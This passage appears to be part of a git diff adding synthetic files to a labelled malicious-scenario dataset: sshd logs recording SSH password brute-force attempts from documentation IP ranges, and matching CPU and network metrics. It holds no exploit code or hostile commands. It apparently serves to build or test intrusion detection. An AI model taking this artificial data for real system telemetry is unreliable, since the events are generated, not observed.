198.51.102.80 port 62978 +Oct 05 08:35:31 sshd[18613]: Failed password for webmaster from 198.51.101.25 port 25996 ssh2 +Oct 05 08:35:32 sshd[18613]: Failed password for invalid user backup from 198.51.100.10 port 16400 +Oct 05 08:35:32 sshd[18613]: Failed password for invalid user oracle from 198.51.101.25 port 63785 +Oct 05 08:35:32 sshd[18613]: Failed password for invalid user sqladmin from 198.51.100.10 port 28104 +Oct 05 08:35:32 sshd[18613]: Failed password for invalid user ubuntu from 198.51.101.25 port 17884 +Oct 05 08:35:33 sshd[18613]: Failed password for invalid user sqladmin from 198.51.101.25 port 30826 +Oct 05 08:35:33 sshd[18613]: Failed password for postgres from 198.51.100.10 port 15089 ssh2 +Oct 05 08:35:34 sshd[18613]: Failed password for admin from 198.51.100.11 port 32544 ssh2 +Oct 05 08:35:34 sshd[18613]: Failed password for ec2-user from 198.51.101.25 port 34106 ssh2 +Oct 05 08:35:34 sshd[18613]: Failed password for invalid user oracle from 198.51.100.10 port 40904 +Oct 05 08:35:35 sshd[10035]: Failed password for guest from 198.51.101.25 port 58041 ssh2 +Oct 05 08:35:35 sshd[10035]: Failed password for test from 198.51.100.10 port 21337 ssh2 +Oct 05 08:35:36 sshd[10035]: Failed password for postgres from 198.51.101.25 port 31835 ssh2 +Oct 05 08:35:37 sshd[10035]: Failed password for invalid user guest from 198.51.100.11 port 13572 +Oct 05 08:35:37 sshd[10035]: Failed password for service from 198.51.102.80 port 43334 ssh2 +Oct 05 08:35:38 sshd[10035]: Failed password for guest from 198.51.100.10 port 53215 ssh2 +Oct 05 08:35:38 sshd[10035]: Failed password for invalid user backup from 198.51.101.25 port 43057 +Oct 05 08:35:39 sshd[10035]: Failed password for invalid user root from 198.51.100.10 port 15886 +Oct 05 08:35:41 sshd[18976]: Failed password for ec2-user from 198.51.100.11 port 43903 ssh2 +Oct 05 08:35:41 sshd[18976]: Failed password for invalid user admin from 198.51.100.11 port 43435 +Oct 05 08:35:41 sshd[18976]: Failed password for invalid user root from 198.51.101.25 port 60244 +Oct 05 08:35:42 sshd[18976]: Failed password for ec2-user from 198.51.102.80 port 36974 ssh2 +Oct 05 08:35:42 sshd[18976]: Failed password for guest from 198.51.101.25 port 27924 ssh2 +Oct 05 08:35:42 sshd[18976]: Failed password for invalid user sqladmin from 198.51.102.80 port 64179 +Oct 05 08:35:42 sshd[18976]: Failed password for invalid user webmaster from 198.51.100.11 port 12494 +Oct 05 08:35:42 sshd[18976]: Failed password for postgres from 198.51.100.11 port 44270 ssh2 +Oct 05 08:35:42 sshd[18976]: Failed password for test from 198.51.100.10 port 27834 ssh2 +Oct 05 08:35:43 sshd[18976]: Failed password for invalid user postgres from 198.51.101.25 port 24918 +Oct 05 08:35:43 sshd[18976]: Failed password for invalid user service from 198.51.100.10 port 52059 +Oct 05 08:35:43 sshd[18976]: Failed password for invalid user test from 198.51.101.25 port 55033 +Oct 05 08:35:43 sshd[18976]: Failed password for invalid user webmaster from 198.51.100.10 port 11063 +Oct 05 08:35:43 sshd[18976]: Failed password for sqladmin from 198.51.100.11 port 17406 ssh2 +Oct 05 08:35:43 sshd[18976]: Failed password for webmaster from 198.51.100.11 port 31910 ssh2 +Oct 05 08:35:44 sshd[18976]: Failed password for invalid user backup from 198.51.100.11 port 45035 +Oct 05 08:35:44 sshd[18976]: Failed password for invalid user webmaster from 198.51.101.25 port 31598 +Oct 05 08:35:45 sshd[4649]: Failed password for invalid user postgres from 198.51.101.25 port 20297 +Oct 05 08:35:45 sshd[4649]: Failed password for invalid user root from 198.51.100.11 port 48257 +Oct 05 08:35:45 sshd[4649]: Failed password for webmaster from 198.51.101.25 port 11118 ssh2 +Oct 05 08:35:46 sshd[4649]: Failed password for invalid user root from 198.51.100.11 port 15330 +Oct 05 08:35:46 sshd[4649]: Failed password for webmaster from 198.51.102.80 port 12460 ssh2 +Oct 05 08:35:48 sshd[4649]: Failed password for service from 198.51.100.10 port 45441 ssh2 +Oct 05 08:35:49 sshd[4649]: Failed password for backup from 198.51.100.11 port 51248 ssh2 +Oct 05 08:35:49 sshd[4649]: Failed password for invalid user ftpuser from 198.51.101.25 port 23075 +Oct 05 08:35:50 sshd[23273]: Failed password for invalid user postgres from 198.51.101.25 port 63196 +Oct 05 08:35:50 sshd[23273]: Failed password for ubuntu from 198.51.100.11 port 20920 ssh2 +Oct 05 08:35:51 sshd[23273]: Failed password for backup from 198.51.100.10 port 14941 ssh2 +Oct 05 08:35:51 sshd[23273]: Failed password for ftpuser from 198.51.102.80 port 14169 ssh2 +Oct 05 08:35:52 sshd[23273]: Failed password for ec2-user from 198.51.100.10 port 60566 ssh2 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user backup from 198.51.102.80 port 55166 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user mssql from 198.51.100.11 port 34958 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user service from 198.51.100.11 port 30990 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user service from 198.51.102.80 port 57594 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user sqladmin from 198.51.101.25 port 23716 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user sqladmin from 198.51.102.80 port 16115 +Oct 05 08:35:52 sshd[23273]: Failed password for invalid user test from 198.51.101.25 port 65242 +Oct 05 08:35:52 sshd[23273]: Failed password for root from 198.51.102.80 port 18898 ssh2 +Oct 05 08:35:52 sshd[23273]: Failed password for sqladmin from 198.51.100.10 port 61915 ssh2 +Oct 05 08:35:52 sshd[23273]: Failed password for sqladmin from 198.51.102.80 port 35046 ssh2 +Oct 05 08:35:53 sshd[23273]: Failed password for invalid user test from 198.51.101.25 port 21844 +Oct 05 08:35:53 sshd[23273]: Failed password for invalid user user from 198.51.101.25 port 58862 +Oct 05 08:35:54 sshd[23273]: Failed password for invalid user ec2-user from 198.51.100.11 port 47921 +Oct 05 08:35:54 sshd[23273]: Failed password for invalid user webmaster from 198.51.102.80 port 49324 +Oct 05 08:35:54 sshd[23273]: Failed password for ubuntu from 198.51.101.25 port 39987 ssh2 +Oct 05 08:35:55 sshd[19021]: Failed password for invalid user postgres from 198.51.102.80 port 29167 +Oct 05 08:35:55 sshd[19021]: Failed password for service from 198.51.102.80 port 26771 ssh2 +Oct 05 08:35:56 sshd[19021]: Failed password for ec2-user from 198.51.100.10 port 48816 ssh2 +Oct 05 08:35:57 sshd[19021]: Failed password for postgres from 198.51.101.25 port 29658 ssh2 +Oct 05 08:35:58 sshd[19021]: Failed password for invalid user backup from 198.51.101.25 port 54145 +Oct 05 08:35:58 sshd[19021]: Failed password for invalid user sqladmin from 198.51.100.10 port 22105 +Oct 05 08:35:58 sshd[19021]: Failed password for webmaster from 198.51.100.10 port 44564 ssh2 +Oct 05 08:35:59 sshd[19021]: Failed password for invalid user guest from 198.51.100.11 port 20435 +Oct 05 08:35:59 sshd[19021]: Failed password for root from 198.51.100.10 port 45968 ssh2 +Oct 05 08:35:59 sshd[19021]: Failed password for ubuntu from 198.51.102.80 port 26676 ssh2 +Oct 05 08:36:00 sshd[12485]: Failed password for ftpuser from 198.51.101.25 port 19251 ssh2 +Oct 05 08:36:00 sshd[12485]: Failed password for postgres from 198.51.102.80 port 46261 ssh2 +Oct 05 08:36:01 sshd[12485]: Failed password for guest from 198.51.100.10 port 34164 ssh2 +Oct 05 08:36:01 sshd[12485]: Failed password for invalid user backup from 198.51.101.25 port 54464 +Oct 05 08:36:01 sshd[12485]: Failed password for mssql from 198.51.101.25 port 39233 ssh2 +Oct 05 08:36:01 sshd[12485]: Failed password for webmaster from 198.51.100.10 port 62104 ssh2 +Oct 05 08:36:02 sshd[12485]: Failed password for ec2-user from 198.51.100.10 port 48519 ssh2 +Oct 05 08:36:03 sshd[12485]: Failed password for invalid user backup from 198.51.101.25 port 45267 +Oct 05 08:36:03 sshd[12485]: Failed password for invalid user mssql from 198.51.100.11 port 12609 +Oct 05 08:36:03 sshd[12485]: Failed password for invalid user test from 198.51.101.25 port 50370 +Oct 05 08:36:04 sshd[12485]: Failed password for invalid user mssql from 198.51.100.10 port 40763 +Oct 05 08:36:04 sshd[12485]: Failed password for invalid user service from 198.51.100.10 port 27603 +Oct 05 08:36:04 sshd[12485]: Failed password for service from 198.51.101.25 port 44364 ssh2 +Oct 05 08:36:05 sshd[12504]: Failed password for invalid user ftpuser from 198.51.102.80 port 47384 +Oct 05 08:36:05 sshd[12504]: Failed password for root from 198.51.102.80 port 23403 ssh2 +Oct 05 08:36:06 sshd[12504]: Failed password for invalid user mssql from 198.51.101.25 port 13345 +Oct 05 08:36:06 sshd[12504]: Failed password for invalid user oracle from 198.51.100.11 port 32149 +Oct 05 08:36:06 sshd[12504]: Failed password for user from 198.51.102.80 port 57509 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for invalid user user from 198.51.100.10 port 29012 +Oct 05 08:36:07 sshd[12504]: Failed password for root from 198.51.100.11 port 15974 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for sqladmin from 198.51.102.80 port 47454 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for test from 198.51.100.11 port 30154 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for ubuntu from 198.51.101.25 port 11011 ssh2 +Oct 05 08:36:08 sshd[12504]: Failed password for admin from 198.51.100.10 port 62490 ssh2 +Oct 05 08:36:08 sshd[12504]: Failed password for invalid user user from 198.51.100.11 port 42789 +Oct 05 08:36:09 sshd[12504]: Failed password for invalid user root from 198.51.101.25 port 51847 +Oct 05 08:36:09 sshd[12504]: Failed password for service from 198.51.100.11 port 60428 ssh2 +Oct 05 08:36:10 sshd[20264]: Failed password for invalid user root from 198.51.100.11 port 17553 +Oct 05 08:36:11 sshd[20264]: Failed password for backup from 198.51.100.11 port 39067 ssh2 +Oct 05 08:36:11 sshd[20264]: Failed password for invalid user admin from 198.51.102.80 port 16000 +Oct 05 08:36:11 sshd[20264]: Failed password for sqladmin from 198.51.101.25 port 16618 ssh2 +Oct 05 08:36:12 sshd[20264]: Failed password for invalid user service from 198.51.101.25 port 47319 +Oct 05 08:36:12 sshd[20264]: Failed password for root from 198.51.101.25 port 31209 ssh2 +Oct 05 08:36:12 sshd[20264]: Failed password for user from 198.51.102.80 port 40621 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for ec2-user from 198.51.100.10 port 18121 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for ec2-user from 198.51.100.10 port 63077 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for ftpuser from 198.51.100.11 port 60582 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for invalid user root from 198.51.101.25 port 45226 +Oct 05 08:36:13 sshd[20264]: Failed password for invalid user sqladmin from 198.51.100.10 port 46579 +Oct 05 08:36:13 sshd[20264]: Failed password for invalid user webmaster from 198.51.100.10 port 38768 +Oct 05 08:36:14 sshd[20264]: Failed password for guest from 198.51.100.11 port 44825 ssh2 +Oct 05 08:36:14 sshd[20264]: Failed password for invalid user ftpuser from 198.51.101.25 port 21738 +Oct 05 08:36:14 sshd[20264]: Failed password for invalid user postgres from 198.51.102.80 port 56605 +Oct 05 08:36:14 sshd[20264]: Failed password for mssql from 198.51.100.10 port 12254 ssh2 +Oct 05 08:36:15 sshd[27883]: Failed password for ec2-user from 198.51.100.11 port 62681 ssh2 +Oct 05 08:36:15 sshd[27883]: Failed password for invalid user service from 198.51.101.25 port 58677 +Oct 05 08:36:15 sshd[27883]: Failed password for invalid user webmaster from 198.51.102.80 port 52691 +Oct 05 08:36:16 sshd[27883]: Failed password for invalid user root from 198.51.100.10 port 55218 +Oct 05 08:36:16 sshd[27883]: Failed password for invalid user user from 198.51.100.10 port 23005 +Oct 05 08:36:16 sshd[27883]: Failed password for oracle from 198.51.100.11 port 61305 ssh2 +Oct 05 08:36:16 sshd[27883]: Failed password for ubuntu from 198.51.100.11 port 33685 ssh2 +Oct 05 08:36:16 sshd[27883]: Failed password for user from 198.51.100.11 port 37846 ssh2 +Oct 05 08:36:17 sshd[27883]: Failed password for invalid user ftpuser from 198.51.100.11 port 12818 +Oct 05 08:36:17 sshd[27883]: Failed password for invalid user guest from 198.51.101.25 port 37908 +Oct 05 08:36:18 sshd[27883]: Failed password for backup from 198.51.100.10 port 21442 ssh2 +Oct 05 08:36:18 sshd[27883]: Failed password for invalid user mssql from 198.51.101.25 port 16289 +Oct 05 08:36:18 sshd[27883]: Failed password for sqladmin from 198.51.100.11 port 34819 ssh2 +Oct 05 08:36:18 sshd[27883]: Failed password for test from 198.51.102.80 port 23868 ssh2 +Oct 05 08:36:19 sshd[27883]: Failed password for ec2-user from 198.51.101.25 port 36396 ssh2 +Oct 05 08:36:19 sshd[27883]: Failed password for postgres from 198.51.102.80 port 27000 ssh2 +Oct 05 08:36:20 sshd[23625]: Failed password for invalid user root from 198.51.101.25 port 44439 +Oct 05 08:36:20 sshd[23625]: Failed password for ubuntu from 198.51.101.25 port 26141 ssh2 +Oct 05 08:36:21 sshd[23625]: Failed password for invalid user admin from 198.51.100.10 port 59587 +Oct 05 08:36:21 sshd[23625]: Failed password for invalid user guest from 198.51.100.10 port 62212 +Oct 05 08:36:21 sshd[23625]: Failed password for root from 198.51.100.11 port 58758 ssh2 +Oct 05 08:36:22 sshd[23625]: Failed password for invalid user backup from 198.51.100.10 port 27672 +Oct 05 08:36:23 sshd[23625]: Failed password for invalid user ftpuser from 198.51.101.25 port 17906 +Oct 05 08:36:23 sshd[23625]: Failed password for invalid user guest from 198.51.102.80 port 49522 +Oct 05 08:36:23 sshd[23625]: Failed password for invalid user ubuntu from 198.51.100.11 port 25639 +Oct 05 08:36:23 sshd[23625]: Failed password for ubuntu from 198.51.100.11 port 48705 ssh2 +Oct 05 08:36:23 sshd[23625]: Failed password for webmaster from 198.51.102.80 port 51574 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for admin from 198.51.100.11 port 57370 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for backup from 198.51.100.10 port 60005 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for ftpuser from 198.51.100.10 port 59730 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for invalid user sqladmin from 198.51.101.25 port 41679 +Oct 05 08:36:25 sshd[19921]: Failed password for invalid user backup from 198.51.100.10 port 30997 +Oct 05 08:36:26 sshd[19921]: Failed password for invalid user ubuntu from 198.51.102.80 port 24097 +Oct 05 08:36:27 sshd[19921]: Failed password for ftpuser from 198.51.102.80 port 51625 ssh2 +Oct 05 08:36:27 sshd[19921]: Failed password for invalid user service from 198.51.100.11 port 52416 +Oct 05 08:36:28 sshd[19921]: Failed password for invalid user ec2-user from 198.51.102.80 port 29851 +Oct 05 08:36:28 sshd[19921]: Failed password for root from 198.51.101.25 port 39155 ssh2 +Oct 05 08:36:28 sshd[19921]: Failed password for sqladmin from 198.51.100.11 port 28888 ssh2 +Oct 05 08:36:28 sshd[19921]: Failed password for test from 198.51.100.10 port 18504 ssh2 +Oct 05 08:36:28 sshd[19921]: Failed password for user from 198.51.100.10 port 37384 ssh2 +Oct 05 08:36:29 sshd[19921]: Failed password for service from 198.51.101.25 port 36651 ssh2 +Oct 05 08:36:30 sshd[1616]: Failed password for invalid user mssql from 198.51.100.11 port 13956 +Oct 05 08:36:31 sshd[1616]: Failed password for invalid user sqladmin from 198.51.100.11 port 19362 +Oct 05 08:36:32 sshd[1616]: Failed password for invalid user mssql from 198.51.102.80 port 27024 +Oct 05 08:36:32 sshd[1616]: Failed password for invalid user webmaster from 198.51.102.80 port 16649 +Oct 05 08:36:33 sshd[1616]: Failed password for admin from 198.51.101.25 port 59338 ssh2 +Oct 05 08:36:33 sshd[1616]: Failed password for admin from 198.51.102.80 port 58239 ssh2 +Oct 05 08:36:33 sshd[1616]: Failed password for invalid user ftpuser from 198.51.100.10 port 39786 +Oct 05 08:36:33 sshd[1616]: Failed password for invalid user service from 198.51.100.11 port 52222 +Oct 05 08:36:34 sshd[1616]: Failed password for guest from 198.51.100.11 port 43950 ssh2 +Oct 05 08:36:34 sshd[1616]: Failed password for invalid user admin from 198.51.102.80 port 12712 +Oct 05 08:36:34 sshd[1616]: Failed password for postgres from 198.51.102.80 port 46469 ssh2 +Oct 05 08:36:34 sshd[1616]: Failed password for test from 198.51.102.80 port 60463 ssh2 +Oct 05 08:36:34 sshd[1616]: Failed password for ubuntu from 198.51.100.10 port 16643 ssh2 +Oct 05 08:36:35 sshd[18508]: Failed password for invalid user admin from 198.51.100.10 port 29342 +Oct 05 08:36:35 sshd[18508]: Failed password for invalid user ubuntu from 198.51.101.25 port 49187 +Oct 05 08:36:35 sshd[18508]: Failed password for test from 198.51.102.80 port 16961 ssh2 +Oct 05 08:36:36 sshd[18508]: Failed password for invalid user sqladmin from 198.51.100.10 port 28370 +Oct 05 08:36:37 sshd[18508]: Failed password for invalid user mssql from 198.51.101.25 port 49195 +Oct 05 08:36:37 sshd[18508]: Failed password for postgres from 198.51.101.25 port 53557 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for guest from 198.51.100.10 port 62132 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for invalid user user from 198.51.102.80 port 55556 +Oct 05 08:36:38 sshd[18508]: Failed password for postgres from 198.51.100.10 port 44840 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for sqladmin from 198.51.102.80 port 11470 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for ubuntu from 198.51.100.10 port 10551 ssh2 +Oct 05 08:36:39 sshd[18508]: Failed password for backup from 198.51.101.25 port 42359 ssh2 +Oct 05 08:36:39 sshd[18508]: Failed password for invalid user guest from 198.51.100.10 port 37686 +Oct 05 08:36:39 sshd[18508]: Failed password for invalid user webmaster from 198.51.101.25 port 16595 +Oct 05 08:36:39 sshd[18508]: Failed password for test from 198.51.102.80 port 49313 ssh2 +Oct 05 08:36:40 CRON[6449]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) diff --git a/mali_dataset/scenario_7/mali_7_8.csv b/mali_dataset/scenario_7/mali_7_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c6a022ad61e5b2c2ec0e10665611029eea088ed --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-11-12T22:15:00Z,13.62,33.05,15.41,1.19,1.04 +2025-11-12T22:15:05Z,6.38,35.3,18.19,0.9,1.39 +2025-11-12T22:15:10Z,5.07,36.64,16.35,0.62,1.1 +2025-11-12T22:15:15Z,9.54,32.58,17.58,1.48,1.09 +2025-11-12T22:15:20Z,10.76,32.58,21.55,1.21,0.85 +2025-11-12T22:15:25Z,14.51,36.1,22.3,1.43,1.32 +2025-11-12T22:15:30Z,7.04,32.75,12.72,0.99,1.62 +2025-11-12T22:15:35Z,14.16,32.76,17.17,0.63,1.85 +2025-11-12T22:15:40Z,6.02,34.94,13.5,0.91,0.75 +2025-11-12T22:15:45Z,8.39,30.24,22.54,0.75,1.73 +2025-11-12T22:15:50Z,10.23,32.68,10.61,0.57,1.05 +2025-11-12T22:15:55Z,12.59,34.64,19.9,1.44,1.02 +2025-11-12T22:16:00Z,5.3,32.76,12.23,0.92,0.75 +2025-11-12T22:16:05Z,8.35,30.44,14.26,1.49,1.53 +2025-11-12T22:16:10Z,12.78,36.76,23.76,1.07,1.88 +2025-11-12T22:16:15Z,8.18,32.49,23.23,1.34,1.3 +2025-11-12T22:16:20Z,12.09,34.48,12.14,0.9,1.12 +2025-11-12T22:16:25Z,5.89,37.56,15.4,0.75,0.52 +2025-11-12T22:16:30Z,5.57,35.04,17.48,0.94,1.83 +2025-11-12T22:16:35Z,6.94,32.22,12.71,1.32,0.63 +2025-11-12T22:16:40Z,8.85,36.64,12.01,19.28,2.89 +2025-11-12T22:16:45Z,14.55,38.52,22.18,13.58,1.56 +2025-11-12T22:16:50Z,18.43,32.76,10.98,26.49,1.93 +2025-11-12T22:16:55Z,20.28,31.25,22.62,26.59,2.49 +2025-11-12T22:17:00Z,23.63,31.44,20.63,23.35,2.69 +2025-11-12T22:17:05Z,28.86,34.73,19.43,19.23,2.43 +2025-11-12T22:17:10Z,31.54,36.85,19.6,16.58,2.12 +2025-11-12T22:17:15Z,42.46,39.28,23.46,25.03,1.88 +2025-11-12T22:17:20Z,46.57,38.58,21.11,22.07,2.38 +2025-11-12T22:17:25Z,47.07,30.66,24.56,18.1,1.97 +2025-11-12T22:17:30Z,55.23,39.56,18.02,13.72,3.19 +2025-11-12T22:17:35Z,59.97,36.05,18.02,21.05,1.94 +2025-11-12T22:17:40Z,57.9,34.31,14.88,28.97,1.94 +2025-11-12T22:17:45Z,62.91,39.0,18.43,23.97,3.03 +2025-11-12T22:17:50Z,62.01,34.7,20.1,24.31,2.55 +2025-11-12T22:17:55Z,66.0,39.03,16.41,24.7,2.62 +2025-11-12T22:18:00Z,73.09,35.6,24.87,11.46,2.32 +2025-11-12T22:18:05Z,72.81,39.32,19.67,10.34,2.67 +2025-11-12T22:18:10Z,77.71,35.87,12.68,13.67,2.08 +2025-11-12T22:18:15Z,80.97,32.38,15.65,25.86,2.56 +2025-11-12T22:18:20Z,77.54,37.78,15.8,29.64,1.63 +2025-11-12T22:18:25Z,83.34,31.54,11.02,28.1,3.1 +2025-11-12T22:18:30Z,86.69,36.11,20.73,25.38,2.61 +2025-11-12T22:18:35Z,83.24,30.04,19.21,28.38,1.87 +2025-11-12T22:18:40Z,84.59,34.49,24.09,12.76,2.26 +2025-11-12T22:18:45Z,84.34,37.17,22.72,12.52,3.35 +2025-11-12T22:18:50Z,84.12,37.86,15.44,10.19,2.65 +2025-11-12T22:18:55Z,82.02,39.49,11.76,26.32,2.03 +2025-11-12T22:19:00Z,87.62,38.66,12.11,19.12,2.17 +2025-11-12T22:19:05Z,85.64,30.63,16.23,19.06,3.35 +2025-11-12T22:19:10Z,88.63,38.9,10.58,19.47,2.31 +2025-11-12T22:19:15Z,78.64,38.08,12.11,16.25,2.05 +2025-11-12T22:19:20Z,83.91,34.11,14.89,19.77,1.98 +2025-11-12T22:19:25Z,83.09,34.07,17.62,10.24,1.7 +2025-11-12T22:19:30Z,79.75,38.31,20.37,17.13,1.93 +2025-11-12T22:19:35Z,79.94,37.37,23.71,22.13,2.24 +2025-11-12T22:19:40Z,80.1,33.61,10.63,17.55,2.6 +2025-11-12T22:19:45Z,77.16,33.36,10.74,24.11,2.31 +2025-11-12T22:19:50Z,66.58,34.84,16.82,20.18,2.78 +2025-11-12T22:19:55Z,66.54,31.06,16.76,18.61,2.55 +2025-11-12T22:20:00Z,69.77,32.68,12.11,20.86,2.61 +2025-11-12T22:20:05Z,64.47,31.04,12.24,19.85,3.11 +2025-11-12T22:20:10Z,58.66,33.6,11.72,15.66,1.82 +2025-11-12T22:20:15Z,56.55,34.83,15.15,17.64,2.36 +2025-11-12T22:20:20Z,53.99,31.17,23.19,24.51,1.22 +2025-11-12T22:20:25Z,48.55,38.05,10.55,20.01,1.93 +2025-11-12T22:20:30Z,48.75,35.77,22.84,18.01,1.92 +2025-11-12T22:20:35Z,41.01,38.54,13.93,18.81,1.75 +2025-11-12T22:20:40Z,36.86,31.76,18.37,22.66,2.72 +2025-11-12T22:20:45Z,29.67,34.72,22.67,20.57,1.8 +2025-11-12T22:20:50Z,30.35,32.91,22.04,26.31,2.18 +2025-11-12T22:20:55Z,21.12,34.63,10.95,15.25,2.49 +2025-11-12T22:21:00Z,19.76,31.14,14.63,25.58,2.47 +2025-11-12T22:21:05Z,15.43,34.81,17.1,27.3,2.32 +2025-11-12T22:21:10Z,5.49,31.19,13.14,28.6,2.86 +2025-11-12T22:21:15Z,9.4,31.36,24.78,0.88,0.81 +2025-11-12T22:21:20Z,13.66,39.4,10.61,0.74,1.25 +2025-11-12T22:21:25Z,10.48,33.23,17.75,1.13,0.71 +2025-11-12T22:21:30Z,9.6,30.55,15.24,0.86,1.53 +2025-11-12T22:21:35Z,13.4,37.56,17.58,1.19,0.75 +2025-11-12T22:21:40Z,7.19,36.64,17.45,1.47,1.55 +2025-11-12T22:21:45Z,8.93,31.62,10.02,0.58,0.79 +2025-11-12T22:21:50Z,13.39,33.13,13.0,1.02,0.85 +2025-11-12T22:21:55Z,5.51,37.83,18.89,0.73,1.51 +2025-11-12T22:22:00Z,8.9,34.3,21.81,1.18,0.78 +2025-11-12T22:22:05Z,9.51,37.07,23.99,0.82,0.95 +2025-11-12T22:22:10Z,9.85,37.79,23.37,1.4,1.29 +2025-11-12T22:22:15Z,9.58,34.33,13.71,0.52,1.21 +2025-11-12T22:22:20Z,8.9,30.86,16.43,1.15,1.17 +2025-11-12T22:22:25Z,12.49,30.95,16.92,0.61,0.89 diff --git a/mali_dataset/scenario_7/mali_7_8.log b/mali_dataset/scenario_7/mali_7_8.log new file mode 100644 index 0000000000000000000000000000000000000000..c6257fec6aa1fd6aa4c3fd851357dc63c1058048 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_8.log @@ -0,0 +1,757 @@ +Nov 12 22:15:00 CRON[5663]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Nov 12 22:15:50 sshd[23337]: Accepted publickey for sys-monitor from 10.0.8.12 port 49152 ssh2 +Nov 12 22:16:15 sshd[9299]: Received disconnect from 10.0.8.12 port 49152:11: disconnected by user +Nov 12 22:16:40 CRON[18836]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Nov 12 22:16:40 sshd[18936]: Failed password for admin from 192.0.2.123 port 29810 ssh2 +Nov 12 22:16:40 sshd[18936]: Failed password for ec2-user from 192.0.2.123 port 20963 ssh2 +Nov 12 22:16:40 sshd[18936]: Failed password for invalid user test from 192.0.2.123 port 32779 +Nov 12 22:16:41 sshd[18936]: Failed password for invalid user ftpuser from 192.0.2.123 port 62079 +Nov 12 22:16:41 sshd[18936]: Failed password for invalid user oracle from 192.0.2.123 port 13812 +Nov 12 22:16:41 sshd[18936]: Failed password for invalid user test from 192.0.2.123 port 13253 +Nov 12 22:16:42 sshd[18936]: Failed password for ftpuser from 192.0.2.123 port 13805 ssh2 +Nov 12 22:16:42 sshd[18936]: Failed password for service from 192.0.2.123 port 28614 ssh2 +Nov 12 22:16:43 sshd[18936]: Failed password for user from 192.0.2.123 port 50003 ssh2 +Nov 12 22:16:44 sshd[18936]: Failed password for invalid user service from 192.0.2.123 port 36161 +Nov 12 22:16:44 sshd[18936]: Failed password for invalid user service from 192.0.2.123 port 36379 +Nov 12 22:16:44 sshd[18936]: Failed password for invalid user service from 192.0.2.123 port 37464 +Nov 12 22:16:44 sshd[18936]: Failed password for test from 192.0.2.123 port 50882 ssh2 +Nov 12 22:16:44 sshd[18936]: Failed password for user from 192.0.2.123 port 46582 ssh2 +Nov 12 22:16:45 sshd[13979]: Failed password for backup from 192.0.2.123 port 18306 ssh2 +Nov 12 22:16:45 sshd[13979]: Failed password for invalid user root from 192.0.2.123 port 63755 +Nov 12 22:16:46 sshd[13979]: Failed password for invalid user ec2-user from 192.0.2.123 port 15661 +Nov 12 22:16:46 sshd[13979]: Failed password for invalid user postgres from 192.0.2.123 port 10096 +Nov 12 22:16:46 sshd[13979]: Failed password for root from 192.0.2.123 port 37681 ssh2 +Nov 12 22:16:47 sshd[13979]: Failed password for backup from 192.0.2.123 port 64169 ssh2 +Nov 12 22:16:47 sshd[13979]: Failed password for invalid user oracle from 192.0.2.123 port 62635 +Nov 12 22:16:47 sshd[13979]: Failed password for mssql from 192.0.2.123 port 22071 ssh2 +Nov 12 22:16:47 sshd[13979]: Failed password for mssql from 192.0.2.123 port 30397 ssh2 +Nov 12 22:16:48 sshd[13979]: Failed password for invalid user guest from 192.0.2.123 port 32434 +Nov 12 22:16:48 sshd[13979]: Failed password for test from 192.0.2.123 port 45975 ssh2 +Nov 12 22:16:49 sshd[13979]: Failed password for invalid user guest from 192.0.2.123 port 38327 +Nov 12 22:16:49 sshd[13979]: Failed password for invalid user oracle from 192.0.2.123 port 50886 +Nov 12 22:16:49 sshd[13979]: Failed password for invalid user service from 192.0.2.123 port 50797 +Nov 12 22:16:50 sshd[13720]: Failed password for backup from 192.0.2.123 port 47878 ssh2 +Nov 12 22:16:50 sshd[13720]: Failed password for guest from 192.0.2.123 port 17007 ssh2 +Nov 12 22:16:50 sshd[13720]: Failed password for invalid user ec2-user from 192.0.2.123 port 60431 +Nov 12 22:16:50 sshd[13720]: Failed password for invalid user webmaster from 192.0.2.123 port 47176 +Nov 12 22:16:50 sshd[13720]: Failed password for mssql from 192.0.2.123 port 31968 ssh2 +Nov 12 22:16:50 sshd[13720]: Failed password for user from 192.0.2.123 port 60051 ssh2 +Nov 12 22:16:51 sshd[13720]: Failed password for admin from 192.0.2.123 port 47563 ssh2 +Nov 12 22:16:51 sshd[13720]: Failed password for webmaster from 192.0.2.123 port 33824 ssh2 +Nov 12 22:16:52 sshd[13720]: Failed password for ftpuser from 192.0.2.123 port 56750 ssh2 +Nov 12 22:16:52 sshd[13720]: Failed password for root from 192.0.2.123 port 48468 ssh2 +Nov 12 22:16:53 sshd[13720]: Failed password for ftpuser from 192.0.2.123 port 65518 ssh2 +Nov 12 22:16:53 sshd[13720]: Failed password for invalid user user from 192.0.2.123 port 32389 +Nov 12 22:16:53 sshd[13720]: Failed password for webmaster from 192.0.2.123 port 29874 ssh2 +Nov 12 22:16:54 sshd[13720]: Failed password for admin from 192.0.2.123 port 46302 ssh2 +Nov 12 22:16:54 sshd[13720]: Failed password for ftpuser from 192.0.2.123 port 51341 ssh2 +Nov 12 22:16:54 sshd[13720]: Failed password for invalid user sqladmin from 192.0.2.123 port 23731 +Nov 12 22:16:54 sshd[13720]: Failed password for root from 